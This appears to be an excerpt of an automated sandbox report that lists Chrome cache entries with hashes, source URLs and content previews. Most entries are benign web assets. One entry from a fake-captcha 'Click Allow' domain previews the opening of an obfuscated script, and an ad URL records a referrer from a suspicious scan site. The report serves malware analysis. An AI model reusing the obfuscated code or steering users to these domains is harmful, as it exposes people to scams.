Preview:	<svg width="31" height="30" viewBox="0 0 31 30" fill="none" xmlns="http://www.w3.org/2000/svg">.<g clip-path="url(#clip0_100_2137)">.<path d="M16.6919 0.955249L19.4456 3.36988C19.9255 3.7907 20.5308 4.04143 21.1677 4.08321L24.8223 4.32295C25.6234 4.37551 26.2615 5.01365 26.3141 5.81478L26.5538 9.46932C26.5956 10.1062 26.8463 10.7116 27.2672 11.1915L29.6818 13.9451C30.2111 14.5488 30.2111 15.4513 29.6818 16.0549L27.2672 18.8086C26.8463 19.2885 26.5956 19.8938 26.5538 20.5307L26.3141 24.1853C26.2615 24.9864 25.6234 25.6245 24.8223 25.6771L21.1677 25.9168C20.5308 25.9586 19.9255 26.2093 19.4456 26.6302L16.6919 29.0448C16.0882 29.5741 15.1858 29.5741 14.5821 29.0448L11.8285 26.6302C11.3486 26.2093 10.7432 25.9586 10.1063 25.9168L6.45178 25.6771C5.65064 25.6245 5.0125 24.9864 4.95994 24.1853L4.72021 20.5307C4.67843 19.8938 4.42769 19.2885 4.00687 18.8086L1.59224 16.0549C1.06291 15.4513 1.06291 14.5488 1.59224 13.9451L4.00687 11.1915C4.42769 10.7116 4.67843 10.1062 4.72021 9.46932L4.95994 5.

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.550848728540077
Encrypted:	false
SSDEEP:	3:YCMxvVUQE4aGOU9HJWpxXMcYU:YCM5VUhGOUiHcXU
MD5:	EC00912BD0B105E23E44C393D731FEFD
SHA1:	1B8363D4B74E210A1035E5403C5CBAC269ED60EC
SHA-256:	820644D77776E3BADDD5E967C4B8485AEDB305EE97C4EF4C00DED3E1111C0EE1
SHA-512:	C927FD93FDEA3B23791B744559803701FFD3931EFE8CDCCAA857B7F918923C0037DB5AED300984F1B5EB68123E56845B6294F7F5A212665B3D95FBDE4DD9EC96
Malicious:	false
Reputation:	low
Preview:	{"gid":"0180ea07f3dc4373ec03d20d44583ff0","skipSubscribe":false}.

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	7134
Entropy (8bit):	4.438009666686593
Encrypted:	false
SSDEEP:	192:thbdNk4WJ0/fG1xDuX1YltGWH5CHwzmcbXpB:tRLYmoxcYltGWHiwzBn
MD5:	AC5E9AA242F469CA4A15E4D4AE9BFD74
SHA1:	6A9326E31C4FEA66A6746F5DCB6AA6A5E215983E
SHA-256:	AE36336D689E9A7793610E33411BE0D6C3C7420248C2D8FBE381F3575C15325A
SHA-512:	2084217E6F584473D5B6309E6EE65B3A7A44786B479D6C2926F65EFA544E91194614CB0D7E3C8EBCAC133DA3EB94C3B8F5EA9582B4DE90A6AA0DBFEE6B0F3FA1
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/consumer/en-us/icons/money-back.svg
Preview:	<svg width="31" height="30" viewBox="0 0 31 30" fill="none" xmlns="http://www.w3.org/2000/svg">.<g clip-path="url(#clip0_100_2137)">.<path d="M16.6919 0.955249L19.4456 3.36988C19.9255 3.7907 20.5308 4.04143 21.1677 4.08321L24.8223 4.32295C25.6234 4.37551 26.2615 5.01365 26.3141 5.81478L26.5538 9.46932C26.5956 10.1062 26.8463 10.7116 27.2672 11.1915L29.6818 13.9451C30.2111 14.5488 30.2111 15.4513 29.6818 16.0549L27.2672 18.8086C26.8463 19.2885 26.5956 19.8938 26.5538 20.5307L26.3141 24.1853C26.2615 24.9864 25.6234 25.6245 24.8223 25.6771L21.1677 25.9168C20.5308 25.9586 19.9255 26.2093 19.4456 26.6302L16.6919 29.0448C16.0882 29.5741 15.1858 29.5741 14.5821 29.0448L11.8285 26.6302C11.3486 26.2093 10.7432 25.9586 10.1063 25.9168L6.45178 25.6771C5.65064 25.6245 5.0125 24.9864 4.95994 24.1853L4.72021 20.5307C4.67843 19.8938 4.42769 19.2885 4.00687 18.8086L1.59224 16.0549C1.06291 15.4513 1.06291 14.5488 1.59224 13.9451L4.00687 11.1915C4.42769 10.7116 4.67843 10.1062 4.72021 9.46932L4.95994 5.

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (8192), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	85760
Entropy (8bit):	5.187225245745204
Encrypted:	false
SSDEEP:	1536:cezoUEDWmFwg8PtnXLUlv6UZfNfHl1E8uyfvcIJWN382m:ce0WmR8P5MfNfXUwQs3
MD5:	7D5ED3AF32DF7A0B041C02A0F37620BF
SHA1:	207118A32DB2C245D40F01A5B4FF5EBA9161C344
SHA-256:	F1C18B03B735AEA676DB7F0F9C42D6D53146D9ED430C860E97FC8B0D738EA926
SHA-512:	64CD84E4818039A299F67B9965209036F3FBB62719F6DBD96445197DB9E1AF2345D3A476C61D944365B13A5D63598A0BC14C6528E8992253C49F90C3219BFAC4
Malicious:	false
Reputation:	low
URL:	https://app.upsellit.com/view.jsp?hash=oqGd8pDYsunSWzcvbDXtaAE&siteID=49065&keys=desktop_en-us&si=qx3zi0_1727968801
Preview:	if("undefined"==typeof usi_cookies){if(usi_cookies={expire_time:{minute:60,hour:3600,two_hours:7200,four_hours:14400,day:86400,week:604800,two_weeks:1209600,month:2592e3,year:31536e3,never:31536e4},max_cookies_count:15,max_cookie_length:1e3,update_window_name:function(e,i,n){try{var t=-1;if(-1!=n){var r=new Date;r.setTime(r.getTime()+1e3*n),t=r.getTime()}var o=window.top\|\|window,l=0;null!=i&&-1!=i.indexOf("=")&&(i=i.replace(RegExp("=","g"),"USIEQLS")),null!=i&&-1!=i.indexOf(";")&&(i=i.replace(RegExp(";","g"),"USIPRNS"));for(var a=o.name.split(";"),u="",f=0;f<a.length;f++){var c=a[f].split("=");3==c.length?(c[0]==e&&(c[1]=i,c[2]=t,l=1),null!=c[1]&&"null"!=c[1]&&(u+=c[0]+"="+c[1]+"="+c[2]+";")):""!=a[f]&&(u+=a[f]+";")}0==l&&(u+=e+"="+i+"="+t+";"),o.name=u}catch(s){}},flush_window_name:function(e){try{for(var i=window.top\|\|window,n=i.name.split(";"),t="",r=0;r<n.length;r++){var o=n[r].split("=");3==o.length&&(0==o[0].indexOf(e)\|\|(t+=n[r]+";"))}i.name=t}catch(l){}},get_from_window_name:fun

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	4.301508290129998
Encrypted:	false
SSDEEP:	3:m8ZJ570T4X7:m+5X7
MD5:	AD8B6F08655797587CDEC719A94EFE59
SHA1:	182ADF5A140796F81E930649D05654DBF22FD5B7
SHA-256:	77D5FE96DEFD6C8C1E3B0466B4827CF83DC7E5C727A10177E115D25132FA86F6
SHA-512:	519A8EA7CE2ED8661CC72D58BC0C02E721EF8E64608F4D2E26A56A970D43EBBF21BDF579C543EE1DFD667DA8F87467C60111A3E6D246D435A5C2D066AB88EFA3
Malicious:	false
Reputation:	low
URL:	https://googleads.g.doubleclick.net/pagead/viewthroughconversion/740246542/?random=1727968793182&cv=11&fst=1727968793182&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4
Preview:	window['google_noFurtherRedirects'] = true;

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5654), with no line terminators
Category:	dropped
Size (bytes):	5654
Entropy (8bit):	5.922458183247145
Encrypted:	false
SSDEEP:	96:1gWUfvlcY021mvn1blhad7OIJoodnbUp2dEjkRUgE//oJoxGwnWdu:1DY0hf1bT47OIqWb1o//YYnWM
MD5:	EBA7D1D1B7924F071224AD42FEB6D51D
SHA1:	43A5D61E94C463B618E363D4346CE240B4136A0E
SHA-256:	C49BBD2800D7C92243F2F2EE8BF2D68C6173FBC63A0AD3F9096964C5A87F6C3A
SHA-512:	C5FD9D725D0D9B6988B8716E605052495AD3C6A67B672B7297CA6574557EAE969F977459015889542BF862A85A16B85FA858E9B2BE5083549465C7C4AE6F0A1A
Malicious:	false
Reputation:	low
Preview:	(function(){var s = {};(function(){var h=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,d){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=d.value;return a};function k(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var d=a[b];if(d&&d.Math==Math)return d}throw Error("Cannot find global object");} var m=k(this),p=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",t={},v={};function w(a,b,d){if(!d\|\|a!=null){d=v[b];if(d==null)return a[b];d=a[d];return d!==void 0?d:a[b]}} function x(a,b,d){if(b)a:{var c=a.split(".");a=c.length===1;var e=c[0],g;!a&&e in t?g=t:g=m;for(e=0;e<c.length-1;e++){var f=c[e];if(!(f in g))break a;g=g[f]}c=c[c.length-1];d=p&&d==="es6"?g[c]:null;b=b(d);b!=null&&(a?h(t,c,{configurable:!0,writable:!0,value:b}):b!==d&&(v[c]===void 0&&(a=Math.random()*1E9>>>0,v[c]=p?m.Symbol(c):"$jscp$"+a+"$"+c),h(g,v[c],{co

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 800 x 499, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	15899
Entropy (8bit):	7.937573521877694
Encrypted:	false
SSDEEP:	384:om5A9ptl3xXtG3l+zpvjurGBu2TNrNBhE3:E9pxtG0Fjurn2TNrNBK3
MD5:	87EB2861CF06249DDC5A55D970B944A5
SHA1:	940CC3BD83FAEA4B59D59095248F5B828A41E8F4
SHA-256:	99A986E8CE32BA841487144ED4F6AF51C0BFF3DEF93A0DBAD66966579446BDFB
SHA-512:	FBD4451101CAA72CF739204B6D03F3653D6443E53203F7B0BE6300BC7F6235C00C9F11277625D5D508981046E497630EC337743F6744B148E0ED759CF24B4081
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ...............PLTE...............844...=99...+''... ..............&"".........1........VV......C@@.........ROO...ebb...mjj......{yy.$$.................^[[......HEE.........................................ZWW....zzvss....""....mm.DD...VSS.............>>.99.......22....cc....00.,,......qoo....uu...............MKK....^^.JJ.....PP....gg.......PP............WW.@@.rr.II.......yy.bb..99.ii.........tRNS..c{...<EIDATx...A..0...n.E.A....@...\~.......@0...@0...@0...@0...@0...@0...@0...@0.c.ny..b0.K....AqX.q.p44$Ji.....h]...o.4%}3......:........@......@......@......@......@......@......g........r..yNw.<.........>.G.=....mN.=W.e;...i....N.`.s.y.k..n._......)...m..dg,v.+}.af.6.....T."....nE$...E.{.+{.....#_7....eO....H.....1..0....I 5....^g...@.R4.z....e.P.."...T..x.M..&.....T.L.6.B.?..5..'gK50.}..B....j.?+.NQ$U.....l.7{..6..p\z{d..I...y...z.`M..BB.....}v.@.\[....}...}.}EB@...*..\|..bgyg.......e... .2?...Ar.#4\|..DqE.4..l\|...........1lD.<

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (18310)
Category:	downloaded
Size (bytes):	58901
Entropy (8bit):	6.317406205076086
Encrypted:	false
SSDEEP:	1536:5IAxvLZa11sMIH1hSRJdlNrCF2oZaFRv1H5Q2EHYmoVnH8vTxJbPnbO3iL01WE28:5IAxDZu1g201PV4
MD5:	6B5AE477094518373EABC315BD94A7D5
SHA1:	A81D407A3364C0E3071C2E25E8F50C4C47186D24
SHA-256:	A28CC1145C35869134A96D9F8B87DEA1BC5656FAE331F30F00EE9E77EE8652B5
SHA-512:	F4D666379EE6B9C50FDE39A1136AB133FB03B1941EE51581C7160E83FFB64F90379F143825A972AE0063687BA42965651E9CD57A94D3C6860953BD6D710B3BB5
Malicious:	false
Reputation:	low
URL:	https://re-captha-version-4-21.buzz/ms/dog/?c=7f09bb62-b760-45ce-9fda-c2155b361966&a=l15369
Preview:	<!DOCTYPE html>.<html>.<head>..<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">...<title id="q1102s1">Click Allow</title>..<meta http-equiv="X-UA-Compatible" content="IE=edge">..<meta name="viewport" content="width=device-width,height=device-height,initial-scale=1,minimum-scale=1">..<script>.var _0x1185ba=_0x12c5;function _0xe447(){var _0x23fb02=['vhrXx8o/WPnXW6xdJvb8jCku','tCkbW4xcTCkCamkfdN1WW6DM','xSkUchXDW6KpWQBdLq','qflcNJqoWP1vWRBcIY58W4D4q8kIySkkzxhdIYhdPW','bZGhpu/dGfiiWO0','Cfu1FmoJ','tmoYWQFcGCoEW6RdR17cQSo3WRG0cSocW410W7XFkCkOhSoIWR7dUq','WR1CWPZdUZecW71J','mCkjW6lcM3FdTSk/W6q','W7dcPNZdR1tcT2OeyIu2W6j0WRFcLmoFW5DzrmkxW77cMH0vWPJcMI49pmo2WR/cUSkYWRNcHHxdV10yEMXcW4ZcMqG1W5pdJGezEvGjWO7cISorpSkmW4BcQCoaxttdOha9n8oSFSk8','W7NdOmk+W7TBW4hcLZ5lumke','WPHPnSkyWPFdKr4lW48gWPxcMq','ieqTWPubvmoGWRa7A23dOHO','WQCCWRdcRd7dVt1AbSkmf8k/e8kQy8oNWP3dVSkGWRBdTIHiW7TLs8kVwCkLamkdWPSBWPpdOG','WOTMr8kZwhFdGh7dQwVdJSkiWOZcGg1bWONcVYrqoCk4WQmeWOjwW7iTc8kVw8oBEfiTWObCWOtcK0xcVW

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (38339)
Category:	dropped
Size (bytes):	38394
Entropy (8bit):	5.232417398844207
Encrypted:	false
SSDEEP:	768:u/XYyvWGO7ksZus7aKpXpTSjDH3WQZZeuaNN4bzqZydhZtlYHhWSrKODnW4p:riO55bCyEYHhWSrfJ
MD5:	AD171F964B4A3B64F2FA091B26342D6A
SHA1:	C8A1EA206F2C47F6666D9E2E0179196AD4C50443
SHA-256:	9EF5671AEB882D63BC377E6C08756A6F54169FA0E87DDD540B32F12045AC290E
SHA-512:	E9BFF74DFDDE5C7A0A9D669E99CD5CB38891CC6F9E8D0B61934AFBFA7464E0835EB6BCAFCD03AFAC627B07A31C9E59BFED63B589D7D8C6BB725CD415B516CBAD
Malicious:	false
Reputation:	low
Preview:	!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("@firebase/app-compat"),require("@firebase/app")):"function"==typeof define&&define.amd?define(["@firebase/app-compat","@firebase/app"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).firebase,e.firebase.INTERNAL.modularAPIs)}(this,function(Ut,Gt){"use strict";try{!(function(){function e(e){return e&&"object"==typeof e&&"default"in e?e:{default:e}}var i,t=e(Ut);function n(){try{return"object"==typeof indexedDB}catch(e){return!1}}class o extends Error{constructor(e,t,n){super(t),this.code=e,this.customData=n,this.name="FirebaseError",Object.setPrototypeOf(this,o.prototype),Error.captureStackTrace&&Error.captureStackTrace(this,a.prototype.create)}}class a{constructor(e,t,n){this.service=e,this.serviceName=t,this.errors=n}create(e,...t){var i,n=t[0]\|\|{},a=`${this.service}/${e}`,r=this.errors[e],r=r?(i=n,r.replace(s,(e,t)=>{var n=i[t];return null!=n?String(n):`<${t}?>`})):"Error",r=`${this.serviceName}

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (38339)
Category:	downloaded
Size (bytes):	38394
Entropy (8bit):	5.232417398844207
Encrypted:	false
SSDEEP:	768:u/XYyvWGO7ksZus7aKpXpTSjDH3WQZZeuaNN4bzqZydhZtlYHhWSrKODnW4p:riO55bCyEYHhWSrfJ
MD5:	AD171F964B4A3B64F2FA091B26342D6A
SHA1:	C8A1EA206F2C47F6666D9E2E0179196AD4C50443
SHA-256:	9EF5671AEB882D63BC377E6C08756A6F54169FA0E87DDD540B32F12045AC290E
SHA-512:	E9BFF74DFDDE5C7A0A9D669E99CD5CB38891CC6F9E8D0B61934AFBFA7464E0835EB6BCAFCD03AFAC627B07A31C9E59BFED63B589D7D8C6BB725CD415B516CBAD
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/firebasejs/10.12.3/firebase-messaging-compat.js
Preview:	!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("@firebase/app-compat"),require("@firebase/app")):"function"==typeof define&&define.amd?define(["@firebase/app-compat","@firebase/app"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).firebase,e.firebase.INTERNAL.modularAPIs)}(this,function(Ut,Gt){"use strict";try{!(function(){function e(e){return e&&"object"==typeof e&&"default"in e?e:{default:e}}var i,t=e(Ut);function n(){try{return"object"==typeof indexedDB}catch(e){return!1}}class o extends Error{constructor(e,t,n){super(t),this.code=e,this.customData=n,this.name="FirebaseError",Object.setPrototypeOf(this,o.prototype),Error.captureStackTrace&&Error.captureStackTrace(this,a.prototype.create)}}class a{constructor(e,t,n){this.service=e,this.serviceName=t,this.errors=n}create(e,...t){var i,n=t[0]\|\|{},a=`${this.service}/${e}`,r=this.errors[e],r=r?(i=n,r.replace(s,(e,t)=>{var n=i[t];return null!=n?String(n):`<${t}?>`})):"Error",r=`${this.serviceName}

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 492x328, components 3
Category:	downloaded
Size (bytes):	18476
Entropy (8bit):	7.872619853936826
Encrypted:	false
SSDEEP:	384:9wWMNH2D9X5tlwXF13ZDAc+mE8y7QM6iHw:CW82DlLCXvx8P7T9w
MD5:	74BFFE1AD8D3BDF3AC9DCE9733D419C5
SHA1:	975B6A26D3D79221949C64CE8180E8669A306CEC
SHA-256:	0772E71B3B2248E2D8C54DC1C896CFDF5D2D4E60133B8D6DBD5A08D351043C41
SHA-512:	8BE5DAB9EF3445331D956F17C1F2633D125930D74028830E7ED1A2DE790A42602A80D3217D84685D8A015CC914351CA67F9758BB19D873CA2EA2741EFFE34F67
Malicious:	false
Reputation:	low
URL:	https://static.imghst-de.com/8c3b94f2-2918-4d61-927e-48ce0db60264.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6................................................-. .". .". .-.D..2...2..D.<.I.;.7.;.I.<.l.U.K.K.U.l.}.i.c.i.}...................N............................................-. .". .". .-.D..2...2..D.<.I.;.7.;.I.<.l.U.K.K.U.l.}.i.c.i.}...................N......H...."..................................................7.L.A...=.....(.....}-.......=.. .....n7[.......,5h.]7^3.......1n.J..a.........9P..........>..............\{.\|.{..._J..s...;..s...v<....qP...W....U..y{l4r.u...wOa..'D..W.

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8194)
Category:	downloaded
Size (bytes):	149547
Entropy (8bit):	5.332798583344782
Encrypted:	false
SSDEEP:	3072:nW3HOGewuHvCY7aF534faz5j42jIxDUgp9l:W3HOGeFPnl
MD5:	3B02A2B8088B7DC1C7B7503B37CE7CCD
SHA1:	7471CE5062618C463B4F37D308A8B858F5BEB242
SHA-256:	7A60F9984FD33E8ACCDA76C58E4FBBC2E14822AE6591CFF60DE31436C77FE79D
SHA-512:	A0332519D7AE5D00D9C7B6899A86E9DDD3F9A8276A79AB05E655C09BB2AB6DFC6C8ED02F84C82D8933CA11CF7C846E6B2FA3A12C1F21F16F3180A83C90EE2451
Malicious:	false
Reputation:	low
URL:	https://www.upsellit.com/active/mcafee.jsp
Preview:	Array.prototype.filter\|\|(Array.prototype.filter=function(t,e){"use strict";if("Function"!=typeof t&&"function"!=typeof t\|\|!this)throw new TypeError;var r=this.length>>>0,o=new Array(r),n=this,l=0,i=-1;if(void 0===e)for(;++i!==r;)i in this&&t(n[i],i,n)&&(o[l++]=n[i]);else for(;++i!==r;)i in this&&t.call(e,n[i],i,n)&&(o[l++]=n[i]);return o.length=l,o}),Array.prototype.forEach\|\|(Array.prototype.forEach=function(t){var e,r;if(null==this)throw new TypeError('"this" is null or not defined');var o=Object(this),n=o.length>>>0;if("function"!=typeof t)throw new TypeError(t+" is not a function");for(arguments.length>1&&(e=arguments[1]),r=0;r<n;){var l;r in o&&(l=o[r],t.call(e,l,r,o)),r++}}),window.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEach=Array.prototype.forEach),Array.prototype.indexOf\|\|(Array.prototype.indexOf=function(t,e){var r;if(null==this)throw new TypeError('"this" is null or not defined');var o=Object(this),n=o.length>>>0;if(0===n)return-1;var l=0\|e;if(l>=n)retur

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	239
Entropy (8bit):	6.0609480466998775
Encrypted:	false
SSDEEP:	6:6v/lhPknkyN15M9G/yO9v2hZ2kKBllTksRxsuqg7snF9eZlbNbp:6v/7gkuM9vO9v2kkilq8gTGlbN1
MD5:	0809149A2B9B4C6B34779A296460D990
SHA1:	5FE92115765709320A6A26D8D3B5883217BBAE2E
SHA-256:	8FA79E9D3D3C7F5846FE353B077C93615B51F224ABC2D3EA8CD1C6F431B75225
SHA-512:	FA637D1146B6466B939991D289C5D469A52492855CEA221A3DD13003D95ADC63C0E2AD48BC0D2D91EDFD6CEC2E923B46FB0BE74CAC6B3DC362D353B969866D2A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...................6PLTE... ..$.. ..$..$..#.. ..(..%..#..$..$..#..$..%.. ..$.....b....tRNS... .. ._p..@`.J..N....orNT..w.....sRGB........=IDAT(.c`.....8. +.q6v..spraW.-(......V.2.....`w..........X.....^....IEND.B`.

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1842
Entropy (8bit):	7.844880044441599
Encrypted:	false
SSDEEP:	48:CpBmStVyR9tjRq82OyNFQVYhMyTkRJO05Z:OuRP9q82OyNFQVY3CJOaZ
MD5:	C69C796362406F9E11C7F4BF5BB628DA
SHA1:	E489CE95AB56208090868882113D7416ABF46775
SHA-256:	4DAC0026FBFA2615DCE30C0AF12830863FE885F84387A0147B9E338F548D5D82
SHA-512:	D3AD560ED0FD29BE7D2CC434694F09E5A6FBEA8B29C0611AECB54A1B73B4D722C53F42A19DAE9E3D5D358444E50FB8FFFBC39D67CE751BDBC8C861F6F95D3162
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/images/branding/product/2x/translate_24dp.png
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Uw.X...........b.....pb.Sfff.6....3o.wvF.(..r.u..9_\|...Is%..D......Xz.c....;...y;.....&#.l......H...X..s..]}..5`aZ..D.m....uk.c..i.\|.H... I#yB.7.0..._E.".h..Xt.....9.4.......0:y.....F.ua^.\|.....K..G..b&2;.z."...B/l$..s3.@..G..Z..`...p..EUU.hni...aZZZT......."...H.Z.....H....<..g.......U.........f."../...Gg...$....<YTU.p.....ND"$^.5!..@.8....Nhj.f.]......"..B..i..,...oh.5.....F.L........;"C...bO....Qa.G..!.....4.._....l..N.].....g...PoD....1r{......X.1..!.....}.o....=..^6i.{.......9`i...\~...Dyy9..`..D...n>.....7:.....1...t.(.D.=>....DH.0...K.Mx....,....$..1.1.P.T.............@'..6...Kv..e...D.?.X...k.2..\|l.$m&...K/.c......Vn....V ...`I......8al.zT.=..+Wr..%?.X.`..g....,..[...nc..:!..$.@2..3.\|....sB...&...a.<..}).zX.Q.)5....X.1..bk.....Vn...C#.c......mx.=.[...,.r.G....OMS....e.06.#.+..8Fne......B!...%..,........W...*.F..x#.Vv....I..c(...x5..u.....`hP.......&>......8...D#Cg.v.{Hyb.v..8.K7X`.....\|O.z.

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27558)
Category:	downloaded
Size (bytes):	119189
Entropy (8bit):	5.395661067704973
Encrypted:	false
SSDEEP:	1536:coaBwzp72vTfTt4ttkZOx3QnaHr24yASd+eQL0+hieh8AVLoI1pYhki:9WraNRzyAVL6
MD5:	37105E32C6D2A5EB0F846811C9E443BB
SHA1:	55053FC01012D57AE0861A875A39A6BCE6D4A7B4
SHA-256:	0784CF99F6340EDB05E11B5B76CBDB99E698C4165A0F35EA2DFA33C250C00C02
SHA-512:	9F88E3546E6CE0CE0564206F22C9F4707DD20A4B5615C7851576AD0A12BEC021AB0CA74286F4B0FA68CFD24CF34353B03977789BEC21345C8A10F3684A05E7D4
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.js
Preview:	//tealium universal tag - utag.loader ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..var utag_condload=false;window.__tealium_twc_switch=false;try{try{(function(){window.utag_data=window.utag_data\|\|{};var check_web_storage=function(type,cb){var supported=false;var storage=window[type];try{var x="__storage_test__";storage.setItem(x,x);storage.removeItem(x);supported=true;if(cb){cb(supported,storage);}.return true;}catch(e){if(cb){cb(false,storage);}.return e instanceof DOMException&&(e.code===22\|\|e.code===1014\|\|e.name==="QuotaExceededError"\|\|e.name==="NS_ERROR_DOM_QUOTA_REACHED")&&storage.length!==0;}};utag_data.web_storage={session:check_web_storage("sessionStorage",function(supported,storage){utag_data.tealiumiq_currency_rates_missing=!supported\|\|supported&&!storage.getItem("rates")?true:false;}),local:check_web_storage("localStorage")};})();}catch(e){console.log(e)}}catch(e){console.log(e);}.if(!utag_condload){try{(function(global){global.tealiumiq_currency_

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2952
Entropy (8bit):	4.3021098226971555
Encrypted:	false
SSDEEP:	48:jGs4dHrFhquOqyMaLi6EgMKKqOVHxuI3F4ZAqleV1hfy/x/PE0JF1n:jwfqgZGLB493yPAbMy0JP
MD5:	809C111A104DEB117A33DBD5100FC8CC
SHA1:	14C56103AEAF1A76D7D4B233D0D989F9F9047384
SHA-256:	8474952F856A73D936C67FC73C4B330547430CAEC755CAB2EE773A626EC03988
SHA-512:	8960F8AD2C711A163DB446F916103A3A7C5F66F626E7A420249A957F59F455303CCA03DE963C1A888CED4DCAEDEB4873FA3BDAEDA8A95A4B1CFC0E2A0BD65330
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/company-image/McAfeeHzRed.svg
